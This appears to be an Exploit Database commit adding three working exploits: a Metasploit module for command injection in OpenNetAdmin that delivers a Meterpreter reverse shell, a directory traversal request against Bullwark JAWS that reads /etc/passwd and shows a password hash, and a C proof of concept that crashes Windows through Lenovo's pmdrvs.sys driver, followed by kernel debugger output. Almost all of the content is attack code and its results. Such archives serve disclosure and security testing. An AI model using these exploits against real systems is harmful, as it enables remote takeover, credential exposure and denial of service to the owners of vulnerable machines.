DB: 2019-12-13
3 changes to exploits/shellcodes Lenovo Power Management Driver 1.67.17.48 - 'pmdrvs.sys' Denial of Service (PoC) OpenNetAdmin 18.1.1 - Command Injection Exploit (Metasploit) Bullwark Momentum Series JAWS 1.0 - Directory Traversal
This commit is contained in:
Offensive Security
parent
6cf35b330f
commit
176ff0c251
4 changed files with 563 additions and 0 deletions
104
exploits/php/webapps/47772.rb
Executable file
104
exploits/php/webapps/47772.rb
Executable file
|
|
@ -0,0 +1,104 @@
|
|||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::CmdStager
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'OpenNetAdmin Ping Command Injection',
|
||||
'Description' => %q{
|
||||
This module exploits a command injection in OpenNetAdmin between 8.5.14 and 18.1.1.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'mattpascoe', # Vulnerability discovery
|
||||
'Onur ER <onur@onurer.net>' # Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['EDB', '47691']
|
||||
],
|
||||
'DisclosureDate' => '2019-11-19',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'linux',
|
||||
'Arch' => [ARCH_X86, ARCH_X64],
|
||||
'Privileged' => false,
|
||||
'Targets' =>
|
||||
[
|
||||
['Automatic Target', {}]
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'RPORT' => 80,
|
||||
'payload' => 'linux/x86/meterpreter/reverse_tcp'
|
||||
},
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('VHOST', [false, 'HTTP server virtual host']),
|
||||
OptString.new('TARGETURI', [true, 'Base path', '/ona/login.php'])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def check
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path),
|
||||
'ctype' => 'application/x-www-form-urlencoded',
|
||||
'encode_params' => false,
|
||||
'vars_post' => {
|
||||
'xajax' => 'window_open',
|
||||
'xajaxargs[]' => 'app_about'
|
||||
}
|
||||
})
|
||||
|
||||
unless res
|
||||
vprint_error 'Connection failed'
|
||||
return CheckCode::Unknown
|
||||
end
|
||||
|
||||
unless res.body =~ /OpenNetAdmin/i
|
||||
return CheckCode::Safe
|
||||
end
|
||||
|
||||
opennetadmin_version = res.body.scan(/OpenNetAdmin - v([\d\.]+)/).flatten.first
|
||||
version = Gem::Version.new('opennetadmin_version')
|
||||
|
||||
if version
|
||||
vprint_status "OpenNetAdmin version #{version}"
|
||||
end
|
||||
|
||||
if version >= Gem::Version.new('8.5.14') && version <= Gem::Version.new('18.1.1')
|
||||
return CheckCode::Appears
|
||||
end
|
||||
|
||||
CheckCode::Detected
|
||||
end
|
||||
|
||||
def exploit
|
||||
print_status('Exploiting...')
|
||||
execute_cmdstager(flavor: :printf)
|
||||
end
|
||||
|
||||
def filter_bad_chars(cmd)
|
||||
cmd.gsub!(/chmod \+x/, 'chmod 777')
|
||||
end
|
||||
|
||||
def execute_command(cmd, opts = {})
|
||||
post_data = "xajax=window_submit&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;#{filter_bad_chars(cmd)};&xajaxargs[]=ping"
|
||||
|
||||
begin
|
||||
send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path),
|
||||
'ctype' => 'application/x-www-form-urlencoded',
|
||||
'encode_params' => false,
|
||||
'data' => post_data
|
||||
})
|
||||
rescue ::Rex::ConnectionError
|
||||
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
|
||||
end
|
||||
end
|
||||
end
|
||||
21
exploits/php/webapps/47773.txt
Normal file
21
exploits/php/webapps/47773.txt
Normal file
|
|
@ -0,0 +1,21 @@
|
|||
# Title: Bullwark Momentum Series JAWS 1.0 - Directory Traversal
|
||||
# Date: 2019-12-11
|
||||
# Author: Numan Türle
|
||||
# Vendor Homepage: http://www.bullwark.net/
|
||||
# Version : Bullwark Momentum Series Web Server JAWS/1.0
|
||||
# Software Link : http://www.bullwark.net/Kategoriler.aspx?KategoriID=24
|
||||
|
||||
POC
|
||||
---------
|
||||
|
||||
GET /../../../../../../../../../../../../etc/passwd HTTP/1.1
|
||||
Host: 12.0.0.1
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
|
||||
Connection: close
|
||||
|
||||
Response
|
||||
---------
|
||||
|
||||
root:ABgia2Z.lfFhA:0:0::/root:/bin/sh
|
||||
435
exploits/windows/dos/47771.c
Normal file
435
exploits/windows/dos/47771.c
Normal file
|
|
@ -0,0 +1,435 @@
|
|||
# Exploit Title: Lenovo Power Management Driver 1.67.17.48 - 'pmdrvs.sys' Denial of Service (PoC)
|
||||
# Date: 2019-12-11
|
||||
# Exploit Author: Nassim Asrir
|
||||
# CVE: CVE-2019-6192
|
||||
# Tested On: Windows 10(64bit) | ThinkPad T470p
|
||||
# Vendor : https://www.lenovo.com/us/en/
|
||||
# Ref : https://support.lenovo.com/us/fr/solutions/len-29334
|
||||
|
||||
# Description
|
||||
# A vulnerability in pmdrvs.sys driver has been discovered in Lenovo Power Management Driver
|
||||
# The vulnerability exists due to insuffiecient input buffer validation when the driver processes IOCTL codes
|
||||
# Attackers can exploit this issue to cause a Denial of Service or possibly execute arbitrary code in kernel space.
|
||||
|
||||
# Exploit
|
||||
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
#include <conio.h>
|
||||
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
HANDLE hDevice;
|
||||
DWORD bret;
|
||||
char szDevice[] = "\\\\.\\pmdrvs";
|
||||
|
||||
printf("--[ Lenovo Power Management Driver pmdrvs.sys Denial Of Service ]--\n");
|
||||
|
||||
printf("Opening handle to driver..\n");
|
||||
|
||||
if ((hDevice = CreateFileA(szDevice, GENERIC_READ | GENERIC_WRITE,0,0,OPEN_EXISTING,0,NULL)) != INVALID_HANDLE_VALUE) {
|
||||
printf("Device %s succesfully opened!\n", szDevice);
|
||||
printf("\tHandle: %p\n", hDevice);
|
||||
}
|
||||
else
|
||||
{
|
||||
printf("Error: Error opening device %s\n", szDevice);
|
||||
}
|
||||
|
||||
printf("\nPress any key to DoS..");
|
||||
_getch();
|
||||
|
||||
bret = 0;
|
||||
|
||||
if (!DeviceIoControl(hDevice, 0x80862013, (LPVOID)0xdeadbeef, 0x0, (LPVOID)0xdeadbeef, 0x0, &bret, NULL))
|
||||
{
|
||||
printf("DeviceIoControl Error - bytes returned %#x\n", bret);
|
||||
}
|
||||
|
||||
CloseHandle(hDevice);
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
# RCA
|
||||
|
||||
2: kd> !analyze -v
|
||||
*******************************************************************************
|
||||
* *
|
||||
* Bugcheck Analysis *
|
||||
* *
|
||||
*******************************************************************************
|
||||
|
||||
SYSTEM_SERVICE_EXCEPTION (3b)
|
||||
An exception happened while executing a system service routine.
|
||||
Arguments:
|
||||
Arg1: 00000000c0000005, Exception code that caused the bugcheck
|
||||
Arg2: fffff80428bf109d, Address of the instruction which caused the bugcheck
|
||||
Arg3: ffffc709dee8ec50, Address of the context record for the exception that caused the bugcheck
|
||||
Arg4: 0000000000000000, zero.
|
||||
|
||||
FAULTING_IP:
|
||||
pmdrvs+109d
|
||||
fffff804`28bf109d 8b07 mov eax,dword ptr [rdi]
|
||||
|
||||
CONTEXT: ffffc709dee8ec50 -- (.cxr 0xffffc709dee8ec50)
|
||||
rax=fffff80428bf5020 rbx=ffffca04ca8f80a0 rcx=ffffc709dee8f6d8
|
||||
rdx=ffffca04ca8f8170 rsi=ffffca04ca8f8170 rdi=0000000000000000
|
||||
rip=fffff80428bf109d rsp=ffffc709dee8f640 rbp=ffffca04cc188290
|
||||
r8=000000000000000e r9=ffffca04c1ca8d40 r10=fffff80428bf5020
|
||||
r11=ffffc709dee8f6b8 r12=0000000000000000 r13=ffffca04c1ca8d40
|
||||
r14=0000000000000002 r15=0000000000000000
|
||||
iopl=0 nv up ei pl zr na po nc
|
||||
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00010246
|
||||
pmdrvs+0x109d:
|
||||
fffff804`28bf109d 8b07 mov eax,dword ptr [rdi] ds:002b:00000000`00000000=????????
|
||||
Resetting default scope
|
||||
|
||||
CPU_COUNT: 8
|
||||
|
||||
CPU_MHZ: af8
|
||||
|
||||
CPU_VENDOR: GenuineIntel
|
||||
|
||||
CPU_FAMILY: 6
|
||||
|
||||
CPU_MODEL: 9e
|
||||
|
||||
CPU_STEPPING: 9
|
||||
|
||||
CPU_MICROCODE: 0,0,0,0 (F,M,S,R) SIG: 8E'00000000 (cache) 0'00000000 (init)
|
||||
|
||||
BLACKBOXBSD: 1 (!blackboxbsd)
|
||||
|
||||
|
||||
BLACKBOXPNP: 1 (!blackboxpnp)
|
||||
|
||||
|
||||
CURRENT_IRQL: 0
|
||||
|
||||
ANALYSIS_SESSION_HOST: LAPTOP-SP
|
||||
|
||||
ANALYSIS_SESSION_TIME: 09-30-2019 20:29:54.0485
|
||||
|
||||
ANALYSIS_VERSION: 10.0.17763.132 amd64fre
|
||||
|
||||
LAST_CONTROL_TRANSFER: from fffff80428bf5060 to fffff80428bf109d
|
||||
|
||||
STACK_TEXT:
|
||||
ffffc709`dee8f640 fffff804`28bf5060 : 00000000`00000000 ffff9980`05b00099 00000000`00000000 00000000`00000000 : pmdrvs+0x109d
|
||||
ffffc709`dee8f6c0 fffff804`1f12dba9 : ffffca04`ca8f80a0 fffff804`1f6d6224 ffffca04`cc51ff20 00000000`00000000 : pmdrvs+0x5060
|
||||
ffffc709`dee8f6f0 fffff804`1f6abb11 : ffffc709`dee8fa80 ffffca04`ca8f80a0 00000000`00000001 ffffca04`cc188290 : nt!IofCallDriver+0x59
|
||||
ffffc709`dee8f730 fffff804`1f6d763c : ffffca04`00000000 ffffca04`cc188290 ffffc709`dee8fa80 ffffc709`dee8fa80 : nt!NtQueryInformationFile+0x1071
|
||||
ffffc709`dee8f7e0 fffff804`1f64c356 : 00007fff`2fd66712 00000000`00000000 00000000`00000000 00000000`00000000 : nt!NtClose+0xffc
|
||||
ffffc709`dee8f920 fffff804`1f27a305 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : nt!NtDeviceIoControlFile+0x56
|
||||
ffffc709`dee8f990 00007fff`33aaf844 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : nt!setjmpex+0x7925
|
||||
00000000`0068fcf8 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : 0x00007fff`33aaf844
|
||||
|
||||
|
||||
THREAD_SHA1_HASH_MOD_FUNC: fea423dc9c9c08c703f6d9d5b0d8f7062b0ece68
|
||||
|
||||
THREAD_SHA1_HASH_MOD_FUNC_OFFSET: 4653d18777ce51b05029c753677fc2c05d5811bb
|
||||
|
||||
THREAD_SHA1_HASH_MOD: c2a3dbda00dbcf5ade5303449052a7349d5c580b
|
||||
|
||||
FOLLOWUP_IP:
|
||||
pmdrvs+109d
|
||||
fffff804`28bf109d 8b07 mov eax,dword ptr [rdi]
|
||||
|
||||
FAULT_INSTR_CODE: 8941078b
|
||||
|
||||
SYMBOL_STACK_INDEX: 0
|
||||
|
||||
FOLLOWUP_NAME: MachineOwner
|
||||
|
||||
STACK_COMMAND: .cxr 0xffffc709dee8ec50 ; kb
|
||||
|
||||
BUGCHECK_STR: 2E8B5A19
|
||||
|
||||
EXCEPTION_CODE_STR: 2E8B5A19
|
||||
|
||||
EXCEPTION_STR: WRONG_SYMBOLS
|
||||
|
||||
PROCESS_NAME: ntoskrnl.wrong.symbols.exe
|
||||
|
||||
IMAGE_NAME: ntoskrnl.wrong.symbols.exe
|
||||
|
||||
MODULE_NAME: nt_wrong_symbols
|
||||
|
||||
SYMBOL_NAME: nt_wrong_symbols!2E8B5A19A70000
|
||||
|
||||
BUCKET_ID: WRONG_SYMBOLS_X64_17763.1.amd64fre.rs5_release.180914-1434_TIMESTAMP_940930-002145
|
||||
|
||||
DEFAULT_BUCKET_ID: WRONG_SYMBOLS_X64_17763.1.amd64fre.rs5_release.180914-1434_TIMESTAMP_940930-002145
|
||||
|
||||
PRIMARY_PROBLEM_CLASS: WRONG_SYMBOLS
|
||||
|
||||
FAILURE_BUCKET_ID: WRONG_SYMBOLS_X64_17763.1.amd64fre.rs5_release.180914-1434_TIMESTAMP_940930-002145_2E8B5A19_nt_wrong_symbols!2E8B5A19A70000
|
||||
|
||||
TARGET_TIME: 2019-09-30T19:27:36.000Z
|
||||
|
||||
OSBUILD: 17763
|
||||
|
||||
OSSERVICEPACK: 0
|
||||
|
||||
SERVICEPACK_NUMBER: 0
|
||||
|
||||
OS_REVISION: 0
|
||||
|
||||
SUITE_MASK: 272
|
||||
|
||||
PRODUCT_TYPE: 1
|
||||
|
||||
OSPLATFORM_TYPE: x64
|
||||
|
||||
OSNAME: Windows 10
|
||||
|
||||
OSEDITION: Windows 10 WinNt TerminalServer SingleUserTS
|
||||
|
||||
OS_LOCALE:
|
||||
|
||||
USER_LCID: 0
|
||||
|
||||
OSBUILD_TIMESTAMP: 1994-09-30 01:21:45
|
||||
|
||||
BUILDDATESTAMP_STR: 180914-1434
|
||||
|
||||
BUILDLAB_STR: rs5_release
|
||||
|
||||
BUILDOSVER_STR: 10.0.17763.1.amd64fre.rs5_release.180914-1434
|
||||
|
||||
ANALYSIS_SESSION_ELAPSED_TIME: ae
|
||||
|
||||
ANALYSIS_SOURCE: KM
|
||||
|
||||
FAILURE_ID_HASH_STRING: km:wrong_symbols_x64_17763.1.amd64fre.rs5_release.180914-1434_timestamp_940930-002145_2e8b5a19_nt_wrong_symbols!2e8b5a19a70000
|
||||
|
||||
FAILURE_ID_HASH: {f0486cd4-fec7-73b9-14c0-31bcf2dd24e1}
|
||||
|
||||
Followup: MachineOwner
|
||||
---------
|
||||
|
||||
2: kd> u fffff804`28bf109d
|
||||
pmdrvs+0x109d:
|
||||
fffff804`28bf109d 8b07 mov eax,dword ptr [rdi]
|
||||
fffff804`28bf109f 41894308 mov dword ptr [r11+8],eax
|
||||
fffff804`28bf10a3 e858ffffff call pmdrvs+0x1000 (fffff804`28bf1000)
|
||||
fffff804`28bf10a8 85c0 test eax,eax
|
||||
fffff804`28bf10aa 0f8582000000 jne pmdrvs+0x1132 (fffff804`28bf1132)
|
||||
fffff804`28bf10b0 488b8c2498000000 mov rcx,qword ptr [rsp+98h]
|
||||
fffff804`28bf10b8 4885c9 test rcx,rcx
|
||||
fffff804`28bf10bb 7475 je pmdrvs+0x1132 (fffff804`28bf1132)
|
||||
2: kd> !for_each_frame .frame /r @$Frame
|
||||
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
|
||||
00 ffffc709`dee8e318 fffff804`1f27a8e9 nt!KeBugCheckEx
|
||||
00 ffffc709`dee8e318 fffff804`1f27a8e9 nt!KeBugCheckEx
|
||||
rax=ffffc709dee8e420 rbx=ffffc709dee8fa00 rcx=000000000000003b
|
||||
rdx=00000000c0000005 rsi=ffffc709dee8eaf0 rdi=0000000000000000
|
||||
rip=fffff8041f269040 rsp=ffffc709dee8e318 rbp=ffffc709dee8ea10
|
||||
r8=fffff80428bf109d r9=ffffc709dee8ec50 r10=0000000000000000
|
||||
r11=000000001f0b5000 r12=fffff8041f27a305 r13=ffffc709dee8e510
|
||||
r14=0000000000000000 r15=ffffc709dee8f408
|
||||
iopl=0 nv up ei ng nz na pe nc
|
||||
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000282
|
||||
nt!KeBugCheckEx:
|
||||
fffff804`1f269040 48894c2408 mov qword ptr [rsp+8],rcx ss:0018:ffffc709`dee8e320=000000000000003b
|
||||
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
|
||||
01 ffffc709`dee8e320 fffff804`1f279d3c nt!setjmpex+0x7f09
|
||||
01 ffffc709`dee8e320 fffff804`1f279d3c nt!setjmpex+0x7f09
|
||||
rax=ffffc709dee8e420 rbx=ffffc709dee8fa00 rcx=000000000000003b
|
||||
rdx=00000000c0000005 rsi=ffffc709dee8eaf0 rdi=0000000000000000
|
||||
rip=fffff8041f27a8e9 rsp=ffffc709dee8e320 rbp=ffffc709dee8ea10
|
||||
r8=fffff80428bf109d r9=ffffc709dee8ec50 r10=0000000000000000
|
||||
r11=000000001f0b5000 r12=fffff8041f27a305 r13=ffffc709dee8e510
|
||||
r14=0000000000000000 r15=ffffc709dee8f408
|
||||
iopl=0 nv up ei ng nz na pe nc
|
||||
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000282
|
||||
nt!setjmpex+0x7f09:
|
||||
fffff804`1f27a8e9 90 nop
|
||||
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
|
||||
02 ffffc709`dee8e460 fffff804`1f271b4f nt!setjmpex+0x735c
|
||||
02 ffffc709`dee8e460 fffff804`1f271b4f nt!setjmpex+0x735c
|
||||
rax=ffffc709dee8e420 rbx=ffffc709dee8fa00 rcx=000000000000003b
|
||||
rdx=00000000c0000005 rsi=ffffc709dee8eaf0 rdi=0000000000000000
|
||||
rip=fffff8041f279d3c rsp=ffffc709dee8e460 rbp=ffffc709dee8ea10
|
||||
r8=fffff80428bf109d r9=ffffc709dee8ec50 r10=0000000000000000
|
||||
r11=000000001f0b5000 r12=fffff8041f27a305 r13=ffffc709dee8e510
|
||||
r14=0000000000000000 r15=ffffc709dee8f408
|
||||
iopl=0 nv up ei ng nz na pe nc
|
||||
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000282
|
||||
nt!setjmpex+0x735c:
|
||||
fffff804`1f279d3c b801000000 mov eax,1
|
||||
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
|
||||
03 ffffc709`dee8e4a0 fffff804`1f1ca460 nt!_chkstk+0x41f
|
||||
03 ffffc709`dee8e4a0 fffff804`1f1ca460 nt!_chkstk+0x41f
|
||||
rax=ffffc709dee8e420 rbx=ffffc709dee8fa00 rcx=000000000000003b
|
||||
rdx=00000000c0000005 rsi=ffffc709dee8eaf0 rdi=0000000000000000
|
||||
rip=fffff8041f271b4f rsp=ffffc709dee8e4a0 rbp=ffffc709dee8ea10
|
||||
r8=fffff80428bf109d r9=ffffc709dee8ec50 r10=0000000000000000
|
||||
r11=000000001f0b5000 r12=fffff8041f27a305 r13=ffffc709dee8e510
|
||||
r14=0000000000000000 r15=ffffc709dee8f408
|
||||
iopl=0 nv up ei ng nz na pe nc
|
||||
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000282
|
||||
nt!_chkstk+0x41f:
|
||||
fffff804`1f271b4f 0f1f00 nop dword ptr [rax]
|
||||
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
|
||||
04 ffffc709`dee8e4d0 fffff804`1f0d7c24 nt!RtlUnwindEx+0x3440
|
||||
04 ffffc709`dee8e4d0 fffff804`1f0d7c24 nt!RtlUnwindEx+0x3440
|
||||
rax=ffffc709dee8e420 rbx=ffffc709dee8fa00 rcx=000000000000003b
|
||||
rdx=00000000c0000005 rsi=ffffc709dee8eaf0 rdi=0000000000000000
|
||||
rip=fffff8041f1ca460 rsp=ffffc709dee8e4d0 rbp=ffffc709dee8ea10
|
||||
r8=fffff80428bf109d r9=ffffc709dee8ec50 r10=0000000000000000
|
||||
r11=000000001f0b5000 r12=fffff8041f27a305 r13=ffffc709dee8e510
|
||||
r14=0000000000000000 r15=ffffc709dee8f408
|
||||
iopl=0 nv up ei ng nz na pe nc
|
||||
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000282
|
||||
nt!RtlUnwindEx+0x3440:
|
||||
fffff804`1f1ca460 8bd0 mov edx,eax
|
||||
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
|
||||
05 ffffc709`dee8ec20 fffff804`1f27a9c2 nt!ExReleaseAutoExpandPushLockExclusive+0x264
|
||||
05 ffffc709`dee8ec20 fffff804`1f27a9c2 nt!ExReleaseAutoExpandPushLockExclusive+0x264
|
||||
rax=ffffc709dee8e420 rbx=ffffc709dee8f408 rcx=000000000000003b
|
||||
rdx=00000000c0000005 rsi=ffffc709dee8ec50 rdi=0000000000000000
|
||||
rip=fffff8041f0d7c24 rsp=ffffc709dee8ec20 rbp=ffffc709dee8f150
|
||||
r8=fffff80428bf109d r9=ffffc709dee8ec50 r10=0000000000000000
|
||||
r11=000000001f0b5000 r12=000000000010001f r13=ffffca04c1ca8d40
|
||||
r14=ffffc709dee8f4b0 r15=0000000000000000
|
||||
iopl=0 nv up ei ng nz na pe nc
|
||||
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000282
|
||||
nt!ExReleaseAutoExpandPushLockExclusive+0x264:
|
||||
fffff804`1f0d7c24 84c0 test al,al
|
||||
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
|
||||
06 ffffc709`dee8f2d0 fffff804`1f276cae nt!setjmpex+0x7fe2
|
||||
06 ffffc709`dee8f2d0 fffff804`1f276cae nt!setjmpex+0x7fe2
|
||||
rax=ffffc709dee8e420 rbx=ffffca04ca8f80a0 rcx=000000000000003b
|
||||
rdx=00000000c0000005 rsi=ffffca04ca8f8170 rdi=0000000000000000
|
||||
rip=fffff8041f27a9c2 rsp=ffffc709dee8f2d0 rbp=ffffc709dee8f530
|
||||
r8=fffff80428bf109d r9=ffffc709dee8ec50 r10=0000000000000000
|
||||
r11=000000001f0b5000 r12=0000000000000000 r13=ffffca04c1ca8d40
|
||||
r14=0000000000000002 r15=0000000000000000
|
||||
iopl=0 nv up ei ng nz na pe nc
|
||||
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000282
|
||||
nt!setjmpex+0x7fe2:
|
||||
fffff804`1f27a9c2 488d8c2400010000 lea rcx,[rsp+100h]
|
||||
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
|
||||
07 ffffc709`dee8f4b0 fffff804`28bf109d nt!setjmpex+0x42ce
|
||||
07 ffffc709`dee8f4b0 fffff804`28bf109d nt!setjmpex+0x42ce
|
||||
rax=ffffc709dee8e420 rbx=ffffca04ca8f80a0 rcx=000000000000003b
|
||||
rdx=00000000c0000005 rsi=ffffca04ca8f8170 rdi=0000000000000000
|
||||
rip=fffff8041f276cae rsp=ffffc709dee8f4b0 rbp=ffffc709dee8f530
|
||||
r8=fffff80428bf109d r9=ffffc709dee8ec50 r10=0000000000000000
|
||||
r11=000000001f0b5000 r12=0000000000000000 r13=ffffca04c1ca8d40
|
||||
r14=0000000000000002 r15=0000000000000000
|
||||
iopl=0 nv up ei ng nz na pe nc
|
||||
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000282
|
||||
nt!setjmpex+0x42ce:
|
||||
fffff804`1f276cae 440f20c0 mov rax,cr8
|
||||
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
|
||||
08 ffffc709`dee8f640 fffff804`28bf5060 pmdrvs+0x109d
|
||||
08 ffffc709`dee8f640 fffff804`28bf5060 pmdrvs+0x109d
|
||||
rax=fffff80428bf5020 rbx=ffffca04ca8f80a0 rcx=ffffc709dee8f6d8
|
||||
rdx=ffffca04ca8f8170 rsi=ffffca04ca8f8170 rdi=0000000000000000
|
||||
rip=fffff80428bf109d rsp=ffffc709dee8f640 rbp=ffffca04cc188290
|
||||
r8=000000000000000e r9=ffffca04c1ca8d40 r10=fffff80428bf5020
|
||||
r11=ffffc709dee8f6b8 r12=0000000000000000 r13=ffffca04c1ca8d40
|
||||
r14=0000000000000002 r15=0000000000000000
|
||||
iopl=0 nv up ei ng nz na pe nc
|
||||
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000282
|
||||
pmdrvs+0x109d:
|
||||
fffff804`28bf109d 8b07 mov eax,dword ptr [rdi] ds:002b:00000000`00000000=????????
|
||||
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
|
||||
09 ffffc709`dee8f6c0 fffff804`1f12dba9 pmdrvs+0x5060
|
||||
09 ffffc709`dee8f6c0 fffff804`1f12dba9 pmdrvs+0x5060
|
||||
rax=fffff80428bf5020 rbx=ffffca04ca8f80a0 rcx=ffffc709dee8f6d8
|
||||
rdx=ffffca04ca8f8170 rsi=0000000000000001 rdi=0000000000000000
|
||||
rip=fffff80428bf5060 rsp=ffffc709dee8f6c0 rbp=ffffca04cc188290
|
||||
r8=000000000000000e r9=ffffca04c1ca8d40 r10=fffff80428bf5020
|
||||
r11=ffffc709dee8f6b8 r12=0000000000000000 r13=ffffca04c1ca8d40
|
||||
r14=0000000000000002 r15=0000000000000000
|
||||
iopl=0 nv up ei ng nz na pe nc
|
||||
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000282
|
||||
pmdrvs+0x5060:
|
||||
fffff804`28bf5060 eb28 jmp pmdrvs+0x508a (fffff804`28bf508a)
|
||||
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
|
||||
0a ffffc709`dee8f6f0 fffff804`1f6abb11 nt!IofCallDriver+0x59
|
||||
0a ffffc709`dee8f6f0 fffff804`1f6abb11 nt!IofCallDriver+0x59
|
||||
rax=fffff80428bf5020 rbx=ffffca04ca8f80a0 rcx=ffffc709dee8f6d8
|
||||
rdx=ffffca04ca8f8170 rsi=0000000000000001 rdi=ffffca04cc188290
|
||||
rip=fffff8041f12dba9 rsp=ffffc709dee8f6f0 rbp=ffffca04cc188290
|
||||
r8=000000000000000e r9=ffffca04c1ca8d40 r10=fffff80428bf5020
|
||||
r11=ffffc709dee8f6b8 r12=0000000000000000 r13=ffffca04c1ca8d40
|
||||
r14=0000000000000002 r15=0000000000000000
|
||||
iopl=0 nv up ei ng nz na pe nc
|
||||
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000282
|
||||
nt!IofCallDriver+0x59:
|
||||
fffff804`1f12dba9 4883c438 add rsp,38h
|
||||
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
|
||||
0b ffffc709`dee8f730 fffff804`1f6d763c nt!NtQueryInformationFile+0x1071
|
||||
0b ffffc709`dee8f730 fffff804`1f6d763c nt!NtQueryInformationFile+0x1071
|
||||
rax=fffff80428bf5020 rbx=ffffca04ca8f80a0 rcx=ffffc709dee8f6d8
|
||||
rdx=ffffca04ca8f8170 rsi=0000000000000001 rdi=ffffca04cc188290
|
||||
rip=fffff8041f6abb11 rsp=ffffc709dee8f730 rbp=ffffca04cc188290
|
||||
r8=000000000000000e r9=ffffca04c1ca8d40 r10=fffff80428bf5020
|
||||
r11=ffffc709dee8f6b8 r12=0000000000000000 r13=ffffca04c1ca8d40
|
||||
r14=0000000000000002 r15=0000000000000000
|
||||
iopl=0 nv up ei ng nz na pe nc
|
||||
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000282
|
||||
nt!NtQueryInformationFile+0x1071:
|
||||
fffff804`1f6abb11 448bf0 mov r14d,eax
|
||||
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
|
||||
0c ffffc709`dee8f7e0 fffff804`1f64c356 nt!NtClose+0xffc
|
||||
0c ffffc709`dee8f7e0 fffff804`1f64c356 nt!NtClose+0xffc
|
||||
rax=fffff80428bf5020 rbx=ffffca04cc188290 rcx=ffffc709dee8f6d8
|
||||
rdx=ffffca04ca8f8170 rsi=0000000000000000 rdi=ffffca04ca8f80a0
|
||||
rip=fffff8041f6d763c rsp=ffffc709dee8f7e0 rbp=ffffc709dee8fa80
|
||||
r8=000000000000000e r9=ffffca04c1ca8d40 r10=fffff80428bf5020
|
||||
r11=ffffc709dee8f6b8 r12=ffffca04ca8f81b8 r13=fffff780000002dc
|
||||
r14=0000000000000000 r15=0000000000000000
|
||||
iopl=0 nv up ei ng nz na pe nc
|
||||
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000282
|
||||
nt!NtClose+0xffc:
|
||||
fffff804`1f6d763c eb25 jmp nt!NtClose+0x1023 (fffff804`1f6d7663)
|
||||
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
|
||||
0d ffffc709`dee8f920 fffff804`1f27a305 nt!NtDeviceIoControlFile+0x56
|
||||
0d ffffc709`dee8f920 fffff804`1f27a305 nt!NtDeviceIoControlFile+0x56
|
||||
rax=fffff80428bf5020 rbx=ffffca04c88b3080 rcx=ffffc709dee8f6d8
|
||||
rdx=ffffca04ca8f8170 rsi=000000000068fd18 rdi=ffffc709dee8f9a8
|
||||
rip=fffff8041f64c356 rsp=ffffc709dee8f920 rbp=ffffc709dee8fa80
|
||||
r8=000000000000000e r9=ffffca04c1ca8d40 r10=fffff80428bf5020
|
||||
r11=ffffc709dee8f6b8 r12=0000000000000000 r13=0000000000000010
|
||||
r14=0000000000000000 r15=0000000000000000
|
||||
iopl=0 nv up ei ng nz na pe nc
|
||||
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000282
|
||||
nt!NtDeviceIoControlFile+0x56:
|
||||
fffff804`1f64c356 4883c468 add rsp,68h
|
||||
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
|
||||
0e ffffc709`dee8f990 00007fff`33aaf844 nt!setjmpex+0x7925
|
||||
0e ffffc709`dee8f990 00007fff`33aaf844 nt!setjmpex+0x7925
|
||||
